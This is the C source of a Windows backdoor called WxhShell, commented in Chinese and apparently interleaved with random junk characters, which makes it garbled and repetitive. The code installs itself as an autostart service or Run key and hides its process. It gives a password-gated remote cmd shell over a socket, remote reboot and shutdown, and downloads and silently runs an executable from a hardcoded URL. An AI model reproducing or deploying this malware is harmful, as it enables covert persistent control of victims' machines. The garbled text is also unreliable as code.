# HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f6nltZ if(NULL == hInst ) return 0; {wI0 =U 7I|Mq g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 's<}@-] g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Je,8{J |e NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NO^(D+9 ^ a:F*<D if (!NtQueryInformationProcess) return 0; o1\8>Ew &&O=v]6,V hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )
|vFrR if(!hProcess) return 0; pG&.Ye]j ^iNR(cwgX if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ikQ2x]Sp }g?]B +0 CloseHandle(hProcess); &D:88 w]_a0{Uh hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @
55Y2 if(hProcess==NULL) return 0; 1Q<a+
l ;XT$rtuX HMODULE hMod; ^s5)FdF8 char procName[255]; 8Ex0[e unsigned long cbNeeded; ~&kV M5]wU if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wxjpe4 A.n1|Q# CloseHandle(hProcess); ZD3S|1zSQ WVZ\4y if(strstr(procName,"services")) return 1; // 以服务启动 #]rw@c D+OkD-8q return 0; // 注册表启动 6*$N@>8& } ~1p
f ? uJQeZEe // 主模块 t1kD5^ int StartWxhshell(LPSTR lpCmdLine) =$MV3] { V;$lgTs|' SOCKET wsl; ZP1EO Z BOOL val=TRUE; AK[c!mzx int port=0; I8m(p+Z= struct sockaddr_in door; q+<TD#xoL YV+e];s if(wscfg.ws_autoins) Install(); *N7\d9y \>+gZc]an port=atoi(lpCmdLine); }+z}vb "QMHY\C if(port<=0) port=wscfg.ws_port; d/e9LK =&vV$UtV WSADATA data; epQ7@9,Q if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GFvOrRlP\
M`bK if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; M:ttzsd setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q?~l=}2 door.sin_family = AF_INET; hSxf;>(d door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'SC`->F4D door.sin_port = htons(port); #]9yzyb_y .NjOaK)\ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 56fcifXz@ closesocket(wsl); >d=k-d return 1; !+i } {9(N?\S1`a o^Ms(?K%t if(listen(wsl,2) == INVALID_SOCKET) { 44!bwXz8 closesocket(wsl); E]bjI$j return 1; >scEdeM } tYnNOK*| Wxhshell(wsl); !aLL|}S WSACleanup(); T7[ItLZ 4]Krx
m`8 return 0; C@xh$(y ;#AV~Y-
s } d35 ,[ xand%XNv // 以NT服务方式启动 J5429Soo VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dH8H<K~ { 9T)-|fja_ DWORD status = 0; f)>=.sp DWORD specificError = 0xfffffff; }z}oVc v=!]t=P)t serviceStatus.dwServiceType = SERVICE_WIN32; `Dj-(~x serviceStatus.dwCurrentState = SERVICE_START_PENDING; $cc]pJy"} serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QHK$2xtq| serviceStatus.dwWin32ExitCode = 0; YqYCW}$ serviceStatus.dwServiceSpecificExitCode = 0; Iu=iC.50} serviceStatus.dwCheckPoint = 0; <J\z6+,4E serviceStatus.dwWaitHint = 0; XJ.vj+XXb
<Dl7|M hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nT:ZSJWM if (hServiceStatusHandle==0) return; O0e6I&u: #5F\zeo@F? status = GetLastError(); $cnIsyKWY if (status!=NO_ERROR) 60Y&)UR { gz8<&*2 serviceStatus.dwCurrentState = SERVICE_STOPPED; ~h -0rE serviceStatus.dwCheckPoint = 0; c'[l%4U8[ serviceStatus.dwWaitHint = 0; 5MT$n4zKu serviceStatus.dwWin32ExitCode = status; p;g$D=2 serviceStatus.dwServiceSpecificExitCode = specificError; :dK/}S0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4\3Z$%2^LZ return; Mc9% s$MT } c{zQX0 >a[)F serviceStatus.dwCurrentState = SERVICE_RUNNING; +Ibcc8Qud serviceStatus.dwCheckPoint = 0; L9"V$MO serviceStatus.dwWaitHint = 0; 5Osx__6 $t if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \It8+^d@ } F8f@^LVM/ @a+1Ri`) // 处理NT服务事件,比如:启动、停止 +g%kr~w= VOID WINAPI NTServiceHandler(DWORD fdwControl) Pr9$(6MX { Iell`; switch(fdwControl) LNtBYdB`pK { iCnKQG case SERVICE_CONTROL_STOP: ,@Xl? serviceStatus.dwWin32ExitCode = 0; p1q"[)WVn^ serviceStatus.dwCurrentState = SERVICE_STOPPED; Bi9 S1p serviceStatus.dwCheckPoint = 0; ,..&j+m serviceStatus.dwWaitHint = 0;
a?_N8|k[ { CM_FF:<tn SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;mu^WIj } wUv
Zc return; ;~3CuN8 case SERVICE_CONTROL_PAUSE: 9ELLJ@oNC serviceStatus.dwCurrentState = SERVICE_PAUSED; 82{Lx7pI break; ,dP-sD;< case SERVICE_CONTROL_CONTINUE: [td)v, serviceStatus.dwCurrentState = SERVICE_RUNNING; -)PQ&[ break; Hz `aj case SERVICE_CONTROL_INTERROGATE: ^fa+3`> break; 7E6gXf. }; 2Gd.B/L6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); L TzD\C' } vWc =^tT )l~:Puvh // 标准应用程序主函数 "8>T int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kZfa8wL]P { A}W)La\
!RN(/ &%y // 获取操作系统版本 j#rjYiYKy OsIsNt=GetOsVer(); INZsDM 9 GetModuleFileName(NULL,ExeFile,MAX_PATH); A\X?Aq-^' :XqqhG // 从命令行安装 W1fEUVj if(strpbrk(lpCmdLine,"iI")) Install(); @@M
2s( rOHU)2 // 下载执行文件 h\k@7wgu if(wscfg.ws_downexe) { c 2t<WRG if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @9Rgg9r WinExec(wscfg.ws_filenam,SW_HIDE); R7pdwKD } `fYICp ?RNm8,M if(!OsIsNt) {
&NM.}f // 如果时win9x,隐藏进程并且设置为注册表启动 DryN}EMOKD HideProc(); MEf`&<t StartWxhshell(lpCmdLine); M{w[hV } `lygJI?H+{ else *:L-/Q)i if(StartFromService()) ;6P#V`u // 以服务方式启动 PT4Wox9U StartServiceCtrlDispatcher(DispatchTable); 6aRPm% else bis}zv^%v // 普通方式启动
~$cz`A StartWxhshell(lpCmdLine); B >2" O ]zK'aod return 0; B)>r~v] } cAnL,?_v Q$u&/g3NvL mCah{~ O|wu;1pQ =========================================== S{wR Z|8U #SyF-QZ[1 #e)A lOB*M!8 ,41Z_h "x~VXU%xU " trlZ ^K :4Jq T|nS #include <stdio.h> =Y!x #include <string.h> 4
JC*c #include <windows.h> PW7{,1te, #include <winsock2.h> RI.6.f1dy #include <winsvc.h> {<$ D|<S #include <urlmon.h> %8C,9q d^b(Uo=$ #pragma comment (lib, "Ws2_32.lib") z 3((L #pragma comment (lib, "urlmon.lib") d+DdDr CWKN0HB #define MAX_USER 100 // 最大客户端连接数 IDCuS #define BUF_SOCK 200 // sock buffer }Rl^7h<! #define KEY_BUFF 255 // 输入 buffer 2yB)2n#ut 9)2kjBeb #define REBOOT 0 // 重启 1V?)T #define SHUTDOWN 1 // 关机 q+<<Ku(20 H[oCI|k #define DEF_PORT 5000 // 监听端口 "MS}@NLUW y-C=_v_X #define REG_LEN 16 // 注册表键长度 $U. >]i #define SVC_LEN 80 // NT服务名长度 9rD6."G 3X|7 R // 从dll定义API j:k}6]p} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \<n 9kwU
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d}B_ wz' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B"; >zF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '?$N.lj$d R;yi58Be // wxhshell配置信息 B8=r^!jEL struct WSCFG { n{Ce%gy int ws_port; // 监听端口 uO]^vP]fT char ws_passstr[REG_LEN]; // 口令 7
k:w3M int ws_autoins; // 安装标记, 1=yes 0=no U-h'a:
K char ws_regname[REG_LEN]; // 注册表键名 |aWeo.;c char ws_svcname[REG_LEN]; // 服务名 4DLp+6zP char ws_svcdisp[SVC_LEN]; // 服务显示名 ui>0?O*G char ws_svcdesc[SVC_LEN]; // 服务描述信息 (g(.gN] char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A8|DB@Bi int ws_downexe; // 下载执行标记, 1=yes 0=no X1wlOE char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J]h$4" char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {Tr5M o ko7*9` }; [l`_2{: #k}x} rn<' // default Wxhshell configuration 6I8A[ struct WSCFG wscfg={DEF_PORT, ,q_'l?Pn "xuhuanlingzhe", p-CBsm5P 1, \}:RG^*m "Wxhshell", 322)r$!" "Wxhshell", N"',
"WxhShell Service", nO;*Peob "Wrsky Windows CmdShell Service", O\~/J/u
< "Please Input Your Password: ", ^k#.;Q#4 1, }^b7x;O| "http://www.wrsky.com/wxhshell.exe", \+9~\eeXb "Wxhshell.exe" Ire+r
"am }; xbTvv>'U B me_# // 消息定义模块 ?v5OUmFM char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OCX>LK!K char *msg_ws_prompt="\n\r? for help\n\r#>"; !<EQVqj6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pwIu;:O!? char *msg_ws_ext="\n\rExit."; UgqfO( char *msg_ws_end="\n\rQuit."; QXaE2}}P char *msg_ws_boot="\n\rReboot..."; th
:I31 char *msg_ws_poff="\n\rShutdown..."; n7A %y2 char *msg_ws_down="\n\rSave to "; 3AQu\4+A a ](Jc) char *msg_ws_err="\n\rErr!"; ^Fop/\E char *msg_ws_ok="\n\rOK!"; {.HFB:<!} - WEEnwZ char ExeFile[MAX_PATH]; Q`0 k=< int nUser = 0; wO-](3A-8P HANDLE handles[MAX_USER]; isF
jJPe int OsIsNt; g %ZKn 2SABu796j SERVICE_STATUS serviceStatus; s:p6oEQ=J SERVICE_STATUS_HANDLE hServiceStatusHandle; kO)+%'L!8 W]TO%x{ // 函数声明 $ap6Vxjr int Install(void); ",O}{z int Uninstall(void); p?Rq int DownloadFile(char *sURL, SOCKET wsh); 5YG%\ int Boot(int flag); ^7p>p8 void HideProc(void); 3Yb2p!o int GetOsVer(void); ZH
s' # int Wxhshell(SOCKET wsl); <T^:`p/]4 void TalkWithClient(void *cs); I\y=uC int CmdShell(SOCKET sock);
}Ghh%] int StartFromService(void); 9im<J' int StartWxhshell(LPSTR lpCmdLine); USDqh437 mh$ Nwr/W: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `@tnEg VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3;E,B7,mQ fGf C[DuY // 数据结构和表定义 \9Yc2$dY SERVICE_TABLE_ENTRY DispatchTable[] = Nn:>c<[ { :~PzTUz {wscfg.ws_svcname, NTServiceMain}, cD 5^mxd% {NULL, NULL} |to|kU }; I_aSC 4 gX'nFGqud // 自我安装 5 0KB:1(g int Install(void) OS{j5o { &pk&8_=f char svExeFile[MAX_PATH]; -~HyzX\cZB HKEY key; }i\U,mH0_& strcpy(svExeFile,ExeFile); bdBFDg %uUQBZ4 // 如果是win9x系统,修改注册表设为自启动 s9 \HjK*+ if(!OsIsNt) { jb'AOs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RIg
`F#,3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:}n\
r/i RegCloseKey(key); 97L|IZ s) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O9/7?"l" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^6?)EM# RegCloseKey(key); J|gRG0O9Ya return 0; }$wWX}@ } ==^9_a^ } +`p@md2L1 } rL9u7)x else { s.{nxk. 2$@N4 // 如果是NT以上系统,安装为系统服务 H6Dw5vG"l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]N#%exBVo if (schSCManager!=0) 4xl}kmvv
{ jjTb:Z=.' SC_HANDLE schService = CreateService q"OJF'>w5 ( }iBFo\vU schSCManager, pI]tv@>:f wscfg.ws_svcname, xn BL{
[] wscfg.ws_svcdisp, O)EA2`)E SERVICE_ALL_ACCESS, Ug~]!L SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m,1Hlp SERVICE_AUTO_START, 6 $*\% SERVICE_ERROR_NORMAL, =VFPZ svExeFile, ~MZEAY9 NULL, *$6dN x NULL, wBaIN]Y, NULL, dPx{9Y<FzU NULL, 65g"$:0 NULL 7#G8qh< ); 8
mFy9{M if (schService!=0) <,\Op=$l3I { NW
AT" CloseServiceHandle(schService); L^b /+R# CloseServiceHandle(schSCManager); ?ZS/`P0}[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]Lz:oV^% strcat(svExeFile,wscfg.ws_svcname); 6.(L8.jv if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4IUdlb RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Zk .V
RegCloseKey(key); ) Z^b)KAk return 0; FcaO- } fZ7Ap3dmP } #UYrSM@u CloseServiceHandle(schSCManager); i7#PYt } Q}qw`L1 } 9=FqI50{ >anq1Kf return 1; u.~`/O } ?mME^?x
Mu |9&bkojo // 自我卸载 ]A%S&q int Uninstall(void) 'Io2",~
M { `COnb@uD HKEY key; ]@G$L,3 5 52U~t if(!OsIsNt) { 90rY:!e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [)S7`K; RegDeleteValue(key,wscfg.ws_regname); kE`V@F RegCloseKey(key); D&C83^m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \:[J-ySJ RegDeleteValue(key,wscfg.ws_regname); S`?L\R.: RegCloseKey(key); 6U!zc]> return 0; ^U@-Dp,k+ } Mb
+ } q8-*3K } //O9}- else { Ku3/xcu:My o
/ i
W% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
jph"94 if (schSCManager!=0) 5U[bn=n { 7~H.\4HB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DM[gjfMXu if (schService!=0) 23|R $s>}i { |w)S
&+ if(DeleteService(schService)!=0) { 2n3g!M6~ CloseServiceHandle(schService); [e.@Yx_} CloseServiceHandle(schSCManager); rfwX:R6,g return 0; ?K>=>bS^h } 'v?"TZ CloseServiceHandle(schService); ?]In@h- } 3H_%2V6#V1 CloseServiceHandle(schSCManager); |on$)vm } 9&VfbrBM } Du7DMo=l o+F]80CH return 1; )Co&(;zf } ?$Tp|<tx# 0n('F // 从指定url下载文件 _4lhwKYU int DownloadFile(char *sURL, SOCKET wsh) !%,k]m' { Fmo^ ?~b HRESULT hr; 9u%S<F" char seps[]= "/"; lAZn0EU char *token; Pko2fJt1 char *file; J*}Qnl + char myURL[MAX_PATH]; ?loP18S
b char myFILE[MAX_PATH]; xzrA%1y
{=A8kgt strcpy(myURL,sURL); yD\[`!sWk token=strtok(myURL,seps); VHlo}Ek<# while(token!=NULL) j$Unw { 9d8bh4[ file=token; T>e4Og"? token=strtok(NULL,seps); \
W.uV[\ } DuzJQSv Y%"73.x GetCurrentDirectory(MAX_PATH,myFILE); }+3v5Nz; strcat(myFILE, "\\"); 5uxB)Dx) strcat(myFILE, file); ^+b ??K send(wsh,myFILE,strlen(myFILE),0); tuWJj^ send(wsh,"...",3,0); 9X%H$>s hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SRfnT?u6 if(hr==S_OK) Vub($ return 0; qQ=\R1l
else +\@}IKWl-? return 1; QT[yw6Z R3\oLT4 } :^92B?q
,R8:Y*@P // 系统电源模块 10`]&v]T int Boot(int flag) >|!s7.H/J/ { .e|VW) HANDLE hToken; J3P)oM[ TOKEN_PRIVILEGES tkp; rM5{R}+; /_g-w93
if(OsIsNt) { pipO,n OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +D&aE$< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [\ALT8vC?m tkp.PrivilegeCount = 1; E%tGwbi7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DuV@^qSbG. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AQR/nWwx if(flag==REBOOT) { "oc&uj if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QO|roE return 0; lf?dTPrD } OqNtTk+ else { KMo]J1o if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $CgR~D2G return 0; i<ug("/ }
<f+9wuZ } ehe;<A else { Q
q7+_,w if(flag==REBOOT) { y^xEZD1X6- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <1xs
ya[e return 0; "S ~(|G } f:_mr zz else { 6r3.%V.& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LH_rc return 0; +#Q\;;FNP } @}[yC[' } {!G kl/eJN'S return 1; Z#nPn>,q } [(65^Zl` zv>3Tc0R // win9x进程隐藏模块 :
#om6} void HideProc(void) {@tqeu%IM { @UgZZ sH_5.+,` HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z&w/JP? if ( hKernel != NULL ) `<3xi9 { /yhGc}h pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Jq8CII ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $MPh\T FreeLibrary(hKernel); ljJi|+^$ } qY^@^)b[ a"6AZT"8 return; riuG,$EX } Utv#E.VI [>^xMF]$2 // 获取操作系统版本 %n7Y5|Uh int GetOsVer(void) 3LK]VuZE { ^xZ o.P OSVERSIONINFO winfo; vvvH5NRm winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~8#Ku,vEy GetVersionEx(&winfo); _/(7: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wEu"X return 1; ML9nfB^z! else 8:QnxrODP return 0; m5w ZS>@ } EqB3f_ G{C27k>wa // 客户端句柄模块 ,k=1'7d int Wxhshell(SOCKET wsl) M!Hn`_E { Eh{]so SOCKET wsh; dYP-QUM$7 struct sockaddr_in client; k_$9cVA DWORD myID; OwJZ?j&) miCW(mbO8 while(nUser<MAX_USER) )4@La& { |4lrVYG^K int nSize=sizeof(client); V <;vy&& wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H)u<$y!8 if(wsh==INVALID_SOCKET) return 1; Frxim A3jT;D9Y% handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XC NM if(handles[nUser]==0) ]z{f)`;I closesocket(wsh); AR}q<k6E else /-_<RQ nUser++; D6wg^'Q: } {TV6eV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s2'] "wM VUD ?iv7 return 0; H[S 4o, } Q
\E[py n@"h^- // 关闭 socket ?~g X7{> void CloseIt(SOCKET wsh) ]EhU8bZ { (w+dB8)X closesocket(wsh); ~ R:=zGDV nUser--; 2S`D7R#6s ExitThread(0); vI)-Zz[3 } J#L"kz M1sR+e$" // 客户端请求句柄 p~h)@ void TalkWithClient(void *cs) ={GYJ.*Ah { ejID5NqG t(,_ SOCKET wsh=(SOCKET)cs; 4PVkKP'/ char pwd[SVC_LEN]; vxmz3ht,Q char cmd[KEY_BUFF]; OB&lq.r char chr[1]; \4B2%H int i,j; /'S@iq n,.ZLuBEX while (nUser < MAX_USER) { 4Em$L]7 +d=cI if(wscfg.ws_passstr) { '&<T;V% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k&kx%skz //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6,D)o/_ //ZeroMemory(pwd,KEY_BUFF); Uz&XqjS i=0; H%AF, while(i<SVC_LEN) { fNkN V6.w=6:`X // 设置超时 Mr8r(LGY fd_set FdRead; @fML.AT struct timeval TimeOut; -5_[m@Vr FD_ZERO(&FdRead); |KM<\v(A{ FD_SET(wsh,&FdRead); p?q~.YY TimeOut.tv_sec=8; T{VdlgL TimeOut.tv_usec=0; E(l'\q'. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ELlTR/NW if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GG KD8'j] tCw.wDq3= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6N^sUc0s pwd=chr[0]; >>'t7U## if(chr[0]==0xd || chr[0]==0xa) { Lh"!Z pwd=0; N0:gY]o% break; B<`'h } e{8j(` (;# i++; qg(rG5kD@ } h)vRvfcmY
YjV-70' // 如果是非法用户,关闭 socket e=]>TeqG0 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]I|3v]6qR } :=I@<@82W -X)KY_Xn@/ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~PoBvHi send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [J6*Q9B<V& y].vll8R while(1) { RH+'"f b.<>CG' ZeroMemory(cmd,KEY_BUFF); ns{BU->f ;T6x$e // 自动支持客户端 telnet标准 j#`d%eQ~J j=0; @L)=epC while(j<KEY_BUFF) { [ NSsT>C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X)tf3M
{J@ cmd[j]=chr[0]; \U1fUrw$* if(chr[0]==0xa || chr[0]==0xd) { s /?&H- cmd[j]=0; cP4K9:k break; k>N >_{\ } Pd,+=
ML
j++; ?&H1C4
} TvEN0RV2 (Nky?* // 下载文件 +:s]>R eDa if(strstr(cmd,"http://")) { '_~X(izc send(wsh,msg_ws_down,strlen(msg_ws_down),0); j70]2NgX if(DownloadFile(cmd,wsh)) 5K~kzRL$r send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Bv?!
sjf else yWs_Z6 b send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~"Pu6-\VT } Llf |fayq else { y5X HJUTu S<hj6A switch(cmd[0]) { rb/m;8v> 0]F'k8yLN // 帮助 C3Hq&TVf/ case '?': { QFI8|i@ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,C#Mf@b break; ?:Y0#Btj } N@M(Iw // 安装 sGf\!w case 'i': { iaqhP7! if(Install()) \LFRu send(wsh,msg_ws_err,strlen(msg_ws_err),0); q/o|uAq else GP%83T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nt/+?Sj break; f PoC
yl } 0/8rYBV // 卸载 I 9yNTD case 'r': { iK*2 Z$`lw if(Uninstall()) v;E7UL
.w send(wsh,msg_ws_err,strlen(msg_ws_err),0); )C
@W_cfMN else }),tk?\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AxaabS$\ break; Pez 7HKW: } Xwg|fr+p // 显示 wxhshell 所在路径 1PMBo=SUe8 case 'p': { d9zI
A6y char svExeFile[MAX_PATH]; %!r>]M < strcpy(svExeFile,"\n\r"); #?xhfSgr strcat(svExeFile,ExeFile); RLypWjMx$ send(wsh,svExeFile,strlen(svExeFile),0); FuOP+r!H break; Lx-ofN\ } 05(lh<C // 重启 \#(cI case 'b': { ;&2J9 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5Rv6+d if(Boot(REBOOT)) s!\uR. send(wsh,msg_ws_err,strlen(msg_ws_err),0); U _~lpu else { +$MNG closesocket(wsh); H61,pr> ExitThread(0); 8oSndfV } or_x0Q break; 1cE3uA7 } pV#~$e // 关机 ?_e2)+q8YG case 'd': { Y[AL!h send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Hno:"k? if(Boot(SHUTDOWN)) :X>%6Xj?RV send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~q]+\qty4 else { ^h+<Q%'a' closesocket(wsh); 10v4k<xb ExitThread(0); 6V= 69} } Q 'R@'W9 break; Le9^,B@Pb } m*L*# ZBS // 获取shell
* P_
3A:_ case 's': { DLYk#d: q? CmdShell(wsh); 0]l _qxv closesocket(wsh); \(t.| ExitThread(0); .+<Ul]e/ break; T}(J`{9i } OO@ (lt // 退出 n'D1s:W^B case 'x': { 7|6uY send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !>B|z= CloseIt(wsh); ,?GEL>F break; {g?$u } _B`'1tNx // 离开 5;+OpB case 'q': { 7:U ^Ki send(wsh,msg_ws_end,strlen(msg_ws_end),0); G#ov2 closesocket(wsh); Cf`s:A5<J WSACleanup(); (W3~r exit(1); .jRp.U break; etdI:N*x } UQ#"^`=R< } ql5NSQ>{ } 75~>[JM ffK A // 提示信息 x^kV;^ I if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5V&3m@d0aq } MXY[t } d\}r.pD 0
;$[ return; <6`_Xr7) } ?yfk d:WD @b\/\\{ // shell模块句柄 MtC \kTW int CmdShell(SOCKET sock) V6Kw71'9 { oLEqy STARTUPINFO si; m72r6Yq2@ ZeroMemory(&si,sizeof(si)); K_
P08 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T] \_[e:' si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1BK-uv: PROCESS_INFORMATION ProcessInfo; ^ZX 71- char cmdline[]="cmd"; H:
Rd4dl,
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [mKPOg-t return 0; K'.aQ&2 } \ Tf845 smQ<lwA // 自身启动模式 =Jfo=`da int StartFromService(void) tgy*!B6a~ { GGcNaW' typedef struct 6@?4z
Rkz { O,"4HZG DWORD ExitStatus; ( /{Wu:e DWORD PebBaseAddress; hER]%)#r DWORD AffinityMask; ,$ L> DWORD BasePriority; A{mv[x-XN ULONG UniqueProcessId; BtS#I[-p_ ULONG InheritedFromUniqueProcessId; 5q<AMg
} PROCESS_BASIC_INFORMATION; Lu!o!>b X(Gp3lG
PROCNTQSIP NtQueryInformationProcess; 5Jd(&k8% To1 .U)do static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Su99A. w static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; coq7La[ n}cjVH5 HANDLE hProcess; |T<t19 PROCESS_BASIC_INFORMATION pbi; fQcJyX CAdq oCz| HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %"|I`
m if(NULL == hInst ) return 0; s Wk92x _l b6sj/V8 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7M*&^P\}es g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zil^^wT0J NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hw/: ]cvP ! if (!NtQueryInformationProcess) return 0; }t }y wlk{V hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mm(Ff >O if(!hProcess) return 0; z97RNT|Y7U `R@1Sc<*| if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %fB]N Nv!If$d CloseHandle(hProcess); t]LOBy-Kv !5lb+%7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g,Z8I;A^ if(hProcess==NULL) return 0; IzPnbnS} qyzmjV6J2 HMODULE hMod; ~R-P%l P char procName[255]; j4h6p(w{ unsigned long cbNeeded; o?zA'5q )Y.H*ca if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, 